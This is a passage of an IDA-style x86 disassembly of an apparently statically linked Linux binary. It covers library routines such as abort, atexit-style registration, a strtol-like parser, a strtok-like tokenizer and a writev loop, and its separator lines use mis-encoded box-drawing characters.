		add	dword_0_8078954, 4
		jmp	short loc_0_8055EC6
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8055EA8:				; CODE XREF: sub_0_8055E38+5Bj
		add	dword_0_8078954, 4
		mov	eax, dword_0_8078954
		cmp	dword_0_8078968, eax
		ja	short loc_0_8055EC6
		mov	eax, dword_0_8078958
		mov	dword_0_8078954, eax

loc_0_8055EC6:				; CODE XREF: sub_0_8055E38+6Ej
					; sub_0_8055E38+82j
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8055E38	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8055ECC	proc near		; CODE XREF: sub_0_804B800+5D8p
					; sub_0_8058094+573p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[ebp+var_4], 20h
		call	sigprocmask(SIG_UNBLOCK,var_4,0)
		call	sub_0_8062188

loc_0_8055EF0:				; CODE XREF: sub_0_8055ECC+30j
		call	putsig(SIGABRT)
		test	eax, eax
		jz	short loc_0_8055EF0
		call	_exit(127)
sub_0_8055ECC	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8055F08	proc near		; CODE XREF: start+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		call	sub_0_8055F34
		test	eax, eax
		jz	short loc_0_8055F28
		mov	dword ptr [eax], 2
		mov	[eax+4], ebx
		xor	eax, eax
		jmp	short loc_0_8055F2D
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8055F28:				; CODE XREF: sub_0_8055F08+Ej
		mov	eax, 0FFFFFFFFh

loc_0_8055F2D:				; CODE XREF: sub_0_8055F08+1Bj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8055F08	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8055F34	proc near		; CODE XREF: sub_0_8055F08+7p
		push	ebp
		mov	ebp, esp
		mov	ecx, dword_0_8078AF4
		test	ecx, ecx
		jz	short loc_0_8055F6C
		lea	esi, [esi+0]

loc_0_8055F44:				; CODE XREF: sub_0_8055F34+36j
		xor	edx, edx
		cmp	[ecx+4], edx
		jbe	short loc_0_8055F60
		xor	eax, eax
		lea	esi, [esi+0]

loc_0_8055F50:				; CODE XREF: sub_0_8055F34+2Aj
		cmp	dword ptr [eax+ecx+8], 0
		jz	short loc_0_8055F98
		add	eax, 0Ch
		inc	edx
		cmp	[ecx+4], edx
		jnz	short loc_0_8055F50

loc_0_8055F60:				; CODE XREF: sub_0_8055F34+15j
		cmp	dword ptr [ecx+4], 1Fh
		jbe	short loc_0_8055FA0
		mov	ecx, [ecx]
		test	ecx, ecx
		jnz	short loc_0_8055F44

loc_0_8055F6C:				; CODE XREF: sub_0_8055F34+Bj
		call	malloc(392)
		mov	ecx, eax
		test	ecx, ecx
		jz	short loc_0_8055FB4
		mov	eax, dword_0_8078AF4
		mov	[ecx], eax
		mov	dword_0_8078AF4, ecx
		mov	dword ptr [ecx+4], 1
		lea	eax, [ecx+8]
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8055F98:				; CODE XREF: sub_0_8055F34+21j
		lea	eax, [ecx+eax+8]
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8055FA0:				; CODE XREF: sub_0_8055F34+30j
		mov	eax, [ecx+4]
		lea	eax, [eax+eax*2]
		lea	eax, [ecx+eax*4+8]
		inc	dword ptr [ecx+4]
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8055FB4:				; CODE XREF: sub_0_8055F34+46j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8055F34	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8056058	proc near		; CODE XREF: sub_0_8048134+28Bp
					; sub_0_8048134+30Cp ...
		push	ebp
		mov	ebp, esp
		call	sub_0_8055E38
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8056058	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8056064	proc near		; CODE XREF: sub_0_804DE68+59p
					; .text:08056445p

var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_C]
		test	ebx, ebx
		jz	short loc_0_80560C5
		mov	eax, dword_0_8078890
		mov	eax, [eax+14h]
		mov	[ebp+var_1C], eax
		cmp	byte ptr [eax],	0
		jz	short loc_0_80560C5
		cmp	byte ptr [eax],	0FFh
		jz	short loc_0_80560C5
		mov	eax, dword_0_8078890
		mov	edx, [eax+10h]
		call	strlen(edx)
		push	eax
		call	chr2dword(var_4,edx)
		test	eax, eax
		jg	short loc_0_80560BF
		mov	eax, dword_0_8078890
		mov	eax, [eax+10h]
		movzx	eax, byte ptr [eax]
		mov	[ebp+var_4], eax

loc_0_80560BF:				; CODE XREF: sub_0_8056064+4Bj
		cmp	[ebp+var_4], 0
		jnz	short loc_0_80560CC

loc_0_80560C5:				; CODE XREF: sub_0_8056064+Ej
					; sub_0_8056064+1Ej ...
		mov	[ebp+var_1C], 0

loc_0_80560CC:				; CODE XREF: sub_0_8056064+5Fj
		cmp	[ebp+arg_8], 0
		jl	short loc_0_80560DE
		cmp	[ebp+arg_8], 1
		jz	short loc_0_80560DE
		cmp	[ebp+arg_8], 24h
		jle	short loc_0_80560E5

loc_0_80560DE:				; CODE XREF: sub_0_8056064+6Cj
					; sub_0_8056064+72j
		mov	[ebp+arg_8], 0Ah

loc_0_80560E5:				; CODE XREF: sub_0_8056064+78j
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_14], esi
		movzx	eax, byte ptr [esi]
		mov	ecx, tableBit
		test	byte ptr [ecx+eax*2+1],	20h
		jz	short loc_0_8056107
		nop	

loc_0_80560FC:				; CODE XREF: sub_0_8056064+A1j
		inc	esi
		movzx	eax, byte ptr [esi]
		test	byte ptr [ecx+eax*2+1],	20h
		jnz	short loc_0_80560FC

loc_0_8056107:				; CODE XREF: sub_0_8056064+95j
		cmp	byte ptr [esi],	0
		jz	loc_0_80563EC
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_0_8056120
		mov	[ebp+var_8], 1
		inc	esi
		jmp	short loc_0_8056137
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8056120:				; CODE XREF: sub_0_8056064+AFj
		cmp	byte ptr [esi],	2Bh
		jnz	short loc_0_8056130
		mov	[ebp+var_8], 0
		inc	esi
		jmp	short loc_0_8056137
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8056130:				; CODE XREF: sub_0_8056064+BFj
		mov	[ebp+var_8], 0

loc_0_8056137:				; CODE XREF: sub_0_8056064+B9j
					; sub_0_8056064+C9j
		cmp	[ebp+arg_8], 10h
		jnz	short loc_0_8056154
		cmp	byte ptr [esi],	30h
		jnz	short loc_0_8056154
		movzx	edx, byte ptr [esi+1]
		mov	eax, lowcasetable
		cmp	dword ptr [eax+edx*4], 58h
		jnz	short loc_0_8056154
		add	esi, 2

loc_0_8056154:				; CODE XREF: sub_0_8056064+D7j
					; sub_0_8056064+DCj ...
		cmp	[ebp+arg_8], 0
		jnz	short loc_0_805618F
		cmp	byte ptr [esi],	30h
		jnz	short loc_0_8056188
		movzx	edx, byte ptr [esi+1]
		mov	eax, lowcasetable
		cmp	dword ptr [eax+edx*4], 58h
		jnz	short loc_0_805617C
		add	esi, 2
		mov	[ebp+arg_8], 10h
		jmp	short loc_0_805618F
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805617C:				; CODE XREF: sub_0_8056064+108j
		mov	[ebp+arg_8], 8
		jmp	short loc_0_805618F
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8056188:				; CODE XREF: sub_0_8056064+F9j
		mov	[ebp+arg_8], 0Ah

loc_0_805618F:				; CODE XREF: sub_0_8056064+F4j
					; sub_0_8056064+114j ...
		mov	[ebp+var_14], esi
		test	ebx, ebx
		jz	loc_0_80562F4
		mov	ebx, [ebp+var_14]
		mov	dl, [ebx]
		mov	[ebp+var_2C], dl
		test	dl, dl
		jz	short loc_0_80561E7
		mov	ecx, tableBit
		mov	edi, lowcasetable
		mov	[ebp+var_34], edi
		lea	esi, [esi+0]

loc_0_80561B8:				; CODE XREF: sub_0_8056064+181j
		movzx	eax, [ebp+var_2C]
		cmp	[ebp+var_4], eax
		jz	short loc_0_80561DD
		test	byte ptr [ecx+eax*2+1],	8
		jnz	short loc_0_80561DD
		test	byte ptr [ecx+eax*2+1],	4
		jz	short loc_0_80561E7
		mov	edx, [ebp+var_34]
		mov	eax, [edx+eax*4]
		add	eax, 0FFFFFFC9h
		cmp	[ebp+arg_8], eax
		jle	short loc_0_80561E7

loc_0_80561DD:				; CODE XREF: sub_0_8056064+15Bj
					; sub_0_8056064+162j
		inc	ebx
		mov	dl, [ebx]
		mov	[ebp+var_2C], dl
		test	dl, dl
		jnz	short loc_0_80561B8

loc_0_80561E7:				; CODE XREF: sub_0_8056064+140j
					; sub_0_8056064+169j ...
		movzx	eax, byte ptr [esi]
		cmp	[ebp+var_4], eax
		jnz	short loc_0_80561F8
		mov	ebx, esi
		jmp	loc_0_80562F6
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80561F8:				; CODE XREF: sub_0_8056064+189j
		mov	[ebp+var_20], ebx
		mov	edi, [ebp+var_4]
		mov	[ebp+var_24], edi
		cmp	[ebp+var_1C], 0
		jz	loc_0_80562F6
		cmp	ebx, esi
		jbe	loc_0_80562DC
		nop	

loc_0_8056214:				; CODE XREF: sub_0_8056064+272j
		mov	ecx, [ebp+var_20]
		dec	ecx
		mov	ebx, [ebp+var_1C]
		cmp	ecx, esi
		jb	short loc_0_805622D
		nop	

loc_0_8056220:				; CODE XREF: sub_0_8056064+1C7j
		movzx	eax, byte ptr [ecx]
		cmp	[ebp+var_24], eax
		jz	short loc_0_805622D
		dec	ecx
		cmp	ecx, esi
		jnb	short loc_0_8056220

loc_0_805622D:				; CODE XREF: sub_0_8056064+1B9j
					; sub_0_8056064+1C2j
		mov	edx, [ebp+var_20]
		sub	edx, ecx
		movzx	eax, byte ptr [ebx]
		inc	eax
		cmp	edx, eax
		jnz	short loc_0_80562B4
		cmp	ecx, esi
		jb	loc_0_80562EC
		lea	edx, [ecx-1]
		mov	[ebp+var_28], edx

loc_0_8056248:				; CODE XREF: sub_0_8056064+20Bj
					; sub_0_8056064+243j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_0_805624F
		dec	ebx

loc_0_805624F:				; CODE XREF: sub_0_8056064+1E8j
		dec	ecx
		cmp	byte ptr [ebx],	0FFh
		jnz	short loc_0_8056274
		cmp	ecx, esi
		jb	loc_0_80562EC
		lea	esi, [esi+0]

loc_0_8056260:				; CODE XREF: sub_0_8056064+207j
		movzx	eax, byte ptr [ecx]
		cmp	[ebp+var_24], eax
		jz	short loc_0_805626D
		dec	ecx
		cmp	ecx, esi
		jnb	short loc_0_8056260

loc_0_805626D:				; CODE XREF: sub_0_8056064+202j
		cmp	ecx, esi
		jnb	short loc_0_8056248
		jmp	short loc_0_80562EC
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8056274:				; CODE XREF: sub_0_8056064+1EFj
		mov	[ebp+var_34], ecx
		cmp	ecx, esi
		jb	short loc_0_805628D
		nop	

loc_0_805627C:				; CODE XREF: sub_0_8056064+223j
		movzx	eax, byte ptr [ecx]
		cmp	[ebp+var_24], eax
		jz	short loc_0_8056289
		dec	ecx
		cmp	ecx, esi
		jnb	short loc_0_805627C

loc_0_8056289:				; CODE XREF: sub_0_8056064+21Ej
		cmp	ecx, esi
		jnb	short loc_0_805629D

loc_0_805628D:				; CODE XREF: sub_0_8056064+215j
		mov	edx, [ebp+var_34]
		sub	edx, ecx
		movzx	eax, byte ptr [ebx]
		cmp	edx, eax
		jle	short loc_0_80562EC
		cmp	ecx, esi
		jb	short loc_0_80562A9

loc_0_805629D:				; CODE XREF: sub_0_8056064+227j
		mov	edx, [ebp+var_34]
		sub	edx, ecx
		movzx	eax, byte ptr [ebx]
		cmp	edx, eax
		jz	short loc_0_8056248

loc_0_80562A9:				; CODE XREF: sub_0_8056064+237j
		mov	edi, [ebp+var_28]
		mov	[ebp+var_20], edi
		jmp	short loc_0_80562D3
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80562B4:				; CODE XREF: sub_0_8056064+1D4j
		mov	edx, [ebp+var_20]
		sub	edx, ecx
		movzx	ebx, byte ptr [ebx]
		lea	eax, [ebx+1]
		cmp	edx, eax
		jle	short loc_0_80562CC
		lea	ebx, [ebx+ecx+1]
		mov	[ebp+var_20], ebx
		jmp	short loc_0_80562D3
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_80562CC:				; CODE XREF: sub_0_8056064+25Dj
		cmp	ecx, esi
		jb	short loc_0_80562EC
		mov	[ebp+var_20], ecx

loc_0_80562D3:				; CODE XREF: sub_0_8056064+24Bj
					; sub_0_8056064+266j
		cmp	[ebp+var_20], esi
		ja	loc_0_8056214

loc_0_80562DC:				; CODE XREF: sub_0_8056064+1A9j
		mov	eax, esi
		cmp	[ebp+var_20], esi
		jbe	short loc_0_80562E6
		mov	eax, [ebp+var_20]

loc_0_80562E6:				; CODE XREF: sub_0_8056064+27Dj
		mov	ebx, eax
		jmp	short loc_0_80562F6
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80562EC:				; CODE XREF: sub_0_8056064+1D8j
					; sub_0_8056064+1F3j ...
		mov	ebx, [ebp+var_20]
		jmp	short loc_0_80562F6
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80562F4:				; CODE XREF: sub_0_8056064+130j
		xor	ebx, ebx

loc_0_80562F6:				; CODE XREF: sub_0_8056064+18Dj
					; sub_0_8056064+1A1j ...
		mov	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+var_10], edx
		mov	[ebp+var_C], eax
		mov	[ebp+var_18], 0
		xor	ecx, ecx
		mov	dl, [esi]
		mov	[ebp+var_2C], dl
		test	dl, dl
		jz	short loc_0_805638C
		mov	edi, tableBit
		mov	[ebp+var_34], edi
		lea	esi, [esi+0]

loc_0_8056324:				; CODE XREF: sub_0_8056064+326j
		cmp	esi, ebx
		jz	short loc_0_805638C
		movzx	eax, [ebp+var_2C]
		mov	edx, [ebp+var_34]
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_0_805633C
		add	[ebp+var_2C], 0D0h
		jmp	short loc_0_805635A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805633C:				; CODE XREF: sub_0_8056064+2D0j
		movzx	edi, [ebp+var_2C]
		mov	[ebp+var_30], edi
		mov	edx, [ebp+var_34]
		test	byte ptr [edx+edi*2+1],	4
		jz	short loc_0_805638C
		mov	eax, lowcasetable
		mov	al, [eax+edi*4]
		add	al, 0C9h
		mov	[ebp+var_2C], al

loc_0_805635A:				; CODE XREF: sub_0_8056064+2D6j
		movzx	eax, [ebp+var_2C]
		cmp	[ebp+arg_8], eax
		jle	short loc_0_805638C
		cmp	[ebp+var_C], ecx
		jb	short loc_0_805636F
		jnz	short loc_0_8056378
		cmp	[ebp+var_10], eax
		jnb	short loc_0_8056378

loc_0_805636F:				; CODE XREF: sub_0_8056064+302j
		mov	[ebp+var_18], 1
		jmp	short loc_0_8056382
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8056378:				; CODE XREF: sub_0_8056064+304j
					; sub_0_8056064+309j
		imul	ecx, [ebp+arg_8]
		movzx	eax, [ebp+var_2C]
		add	ecx, eax

loc_0_8056382:				; CODE XREF: sub_0_8056064+312j
		inc	esi
		mov	dl, [esi]
		mov	[ebp+var_2C], dl
		test	dl, dl
		jnz	short loc_0_8056324

loc_0_805638C:				; CODE XREF: sub_0_8056064+2B2j
					; sub_0_8056064+2C2j ...
		cmp	[ebp+var_14], esi
		jz	short loc_0_80563EC
		cmp	[ebp+arg_4], 0
		jz	short loc_0_805639C
		mov	edi, [ebp+arg_4]
		mov	[edi], esi

loc_0_805639C:				; CODE XREF: sub_0_8056064+331j
		cmp	[ebp+var_8], 0
		jz	short loc_0_80563AC
		cmp	ecx, 80000000h
		ja	short loc_0_80563B4
		jmp	short loc_0_80563BB
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_80563AC:				; CODE XREF: sub_0_8056064+33Cj
		cmp	ecx, 7FFFFFFFh
		jbe	short loc_0_80563BB

loc_0_80563B4:				; CODE XREF: sub_0_8056064+344j
		mov	[ebp+var_18], 1

loc_0_80563BB:				; CODE XREF: sub_0_8056064+346j
					; sub_0_8056064+34Ej
		cmp	[ebp+var_18], 0
		jz	short loc_0_80563E0
		mov	errno, 22h
		mov	eax, 7FFFFFFFh
		cmp	[ebp+var_8], 0
		jz	short loc_0_805642A
		mov	eax, 80000000h
		jmp	short loc_0_805642A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80563E0:				; CODE XREF: sub_0_8056064+35Bj
		mov	eax, ecx
		cmp	[ebp+var_8], 0
		jz	short loc_0_805642A
		neg	eax
		jmp	short loc_0_805642A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_80563EC:				; CODE XREF: sub_0_8056064+A6j
					; sub_0_8056064+32Bj
		cmp	[ebp+arg_4], 0
		jz	short loc_0_8056428
		mov	eax, [ebp+var_14]
		sub	eax, [ebp+arg_0]
		cmp	eax, 1
		jle	short loc_0_8056420
		mov	edx, [ebp+var_14]
		movzx	edx, byte ptr [edx-1]
		mov	eax, upcasetable
		cmp	dword ptr [eax+edx*4], 78h
		jnz	short loc_0_8056420
		mov	edi, [ebp+var_14]
		cmp	byte ptr [edi-2], 30h
		jnz	short loc_0_8056420
		dec	edi
		mov	edx, [ebp+arg_4]
		mov	[edx], edi
		jmp	short loc_0_8056428
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8056420:				; CODE XREF: sub_0_8056064+397j
					; sub_0_8056064+3A9j ...
		mov	edx, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		mov	[edi], edx

loc_0_8056428:				; CODE XREF: sub_0_8056064+38Cj
					; sub_0_8056064+3BAj
		xor	eax, eax

loc_0_805642A:				; CODE XREF: sub_0_8056064+370j
					; sub_0_8056064+377j ...
		lea	esp, [ebp+var_40]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8056064	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+8]
		mov	edx, [ebp+0Ch]
		mov	eax, [ebp+10h]
		push	0
		push	eax
		push	edx
		push	ecx
		call	sub_0_8056064
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80568D0	proc near		; CODE XREF: sub_0_804A9D8+A7Dp
					; sub_0_804A9D8+B4Dp ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		test	ebx, ebx
		jnz	short loc_0_80568FE
		cmp	dword_0_8078AFC, 0
		jnz	short loc_0_80568F8
		mov	errno, 16h
		xor	eax, eax
		jmp	short loc_0_8056948
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80568F8:				; CODE XREF: sub_0_80568D0+17j
		mov	ebx, dword_0_8078AFC

loc_0_80568FE:				; CODE XREF: sub_0_80568D0+Ej
		call	strcspn(ebx,edi)
		add	ebx, eax
		cmp	byte ptr [ebx],	0
		jnz	short loc_0_8056920
		mov	dword_0_8078AFC, 0
		xor	eax, eax
		jmp	short loc_0_8056948
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8056920:				; CODE XREF: sub_0_80568D0+3Dj
		mov	esi, ebx
		call	strpbrk(esi,edi)
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_0_805693C
		mov	dword_0_8078AFC, 0
		jmp	short loc_0_8056946
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805693C:				; CODE XREF: sub_0_80568D0+5Dj
		mov	byte ptr [ebx],	0
		inc	ebx
		mov	dword_0_8078AFC, ebx

loc_0_8056946:				; CODE XREF: sub_0_80568D0+69j
		mov	eax, esi

loc_0_8056948:				; CODE XREF: sub_0_80568D0+25j
					; sub_0_80568D0+4Bj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80568D0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

get_errno	proc near		; CODE XREF: chdir+17p
					; close+17p ...
		push	ebp
		mov	ebp, esp
		mov	eax, offset errno
		mov	esp, ebp
		pop	ebp
		retn	
get_errno	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8056E70	proc near		; CODE XREF: res_send()+2AAp
					; sub_0_8054EC8+31Ep

var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		push	esi
		push	ebx
		xor	esi, esi
		mov	[ebp+var_C], 0
		mov	ecx, [ebp+arg_8]
		cmp	[ebp+var_C], ecx
		jnb	loc_0_8057016
		mov	ebx, [ebp+arg_4]
		mov	eax, ecx
		and	eax, 1Fh
		cmp	[ebp+var_C], ecx
		jge	short loc_0_8056F12
		test	eax, eax
		jz	loc_0_8056F44
		cmp	eax, 8
		jle	short loc_0_8056F12
		cmp	eax, 10h
		jle	short loc_0_8056EE2
		cmp	eax, 19h
		jge	loc_0_8056F44
		mov	eax, 8
		cmp	ecx, 8
		ja	short loc_0_8056EC3
		mov	eax, [ebp+arg_8]

loc_0_8056EC3:				; CODE XREF: sub_0_8056E70+4Ej
		call	writev(arg_0,ebx,eax)
		test	eax, eax
		jl	loc_0_8056FF5
		add	ebx, 40h
		add	esi, 8
		add	[ebp+var_C], eax

loc_0_8056EE2:				; CODE XREF: sub_0_8056E70+3Bj
		mov	edx, [ebp+arg_8]
		sub	edx, esi
		mov	eax, 8
		cmp	edx, 8
		ja	short loc_0_8056EF3
		mov	eax, edx

loc_0_8056EF3:				; CODE XREF: sub_0_8056E70+7Fj
		call	writev(arg_0,ebx,eax)
		test	eax, eax
		jl	loc_0_8056FF5
		add	ebx, 40h
		add	esi, 8
		add	[ebp+var_C], eax

loc_0_8056F12:				; CODE XREF: sub_0_8056E70+29j
					; sub_0_8056E70+36j
		mov	edx, [ebp+arg_8]
		sub	edx, esi
		mov	eax, 8
		cmp	edx, 8
		ja	short loc_0_8056F23
		mov	eax, edx

loc_0_8056F23:				; CODE XREF: sub_0_8056E70+AFj
		call	writev(arg_0,ebx,eax)
		test	eax, eax
		jl	loc_0_8056FF5
		add	ebx, 40h
		add	esi, 8
		jmp	loc_0_805700A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8056F44:				; CODE XREF: sub_0_8056E70+2Dj
					; sub_0_8056E70+40j ...
		mov	edx, [ebp+arg_8]
		sub	edx, esi
		mov	eax, 8
		cmp	edx, 8
		ja	short loc_0_8056F55
		mov	eax, edx

loc_0_8056F55:				; CODE XREF: sub_0_8056E70+E1j
		call	writev(arg_0,ebx,eax)
		mov	edx, eax
		test	edx, edx
		jl	loc_0_8056FF5
		add	ebx, 40h
		lea	eax, [esi+8]
		add	[ebp+var_C], edx
		mov	edx, [ebp+arg_8]
		sub	edx, eax
		mov	eax, 8
		cmp	edx, 8
		ja	short loc_0_8056F87
		mov	eax, edx

loc_0_8056F87:				; CODE XREF: sub_0_8056E70+113j
		call	writev(arg_0,ebx,eax)
		mov	edx, eax
		test	edx, edx
		jl	short loc_0_8056FF5
		add	ebx, 40h
		lea	eax, [esi+10h]
		add	[ebp+var_C], edx
		mov	edx, [ebp+arg_8]
		sub	edx, eax
		mov	eax, 8
		cmp	edx, 8
		ja	short loc_0_8056FB5
		mov	eax, edx

loc_0_8056FB5:				; CODE XREF: sub_0_8056E70+141j
		call	writev(arg_0,ebx,eax)
		mov	edx, eax
		test	edx, edx
		jl	short loc_0_8056FF5
		add	ebx, 40h
		lea	eax, [esi+18h]
		add	[ebp+var_C], edx
		mov	edx, [ebp+arg_8]
		sub	edx, eax
		mov	eax, 8
		cmp	edx, 8
		ja	short loc_0_8056FE3
		mov	eax, edx

loc_0_8056FE3:				; CODE XREF: sub_0_8056E70+16Fj
		call	writev(arg_0,ebx,eax)
		test	eax, eax
		jge	short loc_0_8057004

loc_0_8056FF5:				; CODE XREF: sub_0_8056E70+63j
					; sub_0_8056E70+93j ...
		cmp	errno, 26h
		jz	short loc_0_8057020
		jmp	loc_0_8057128
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

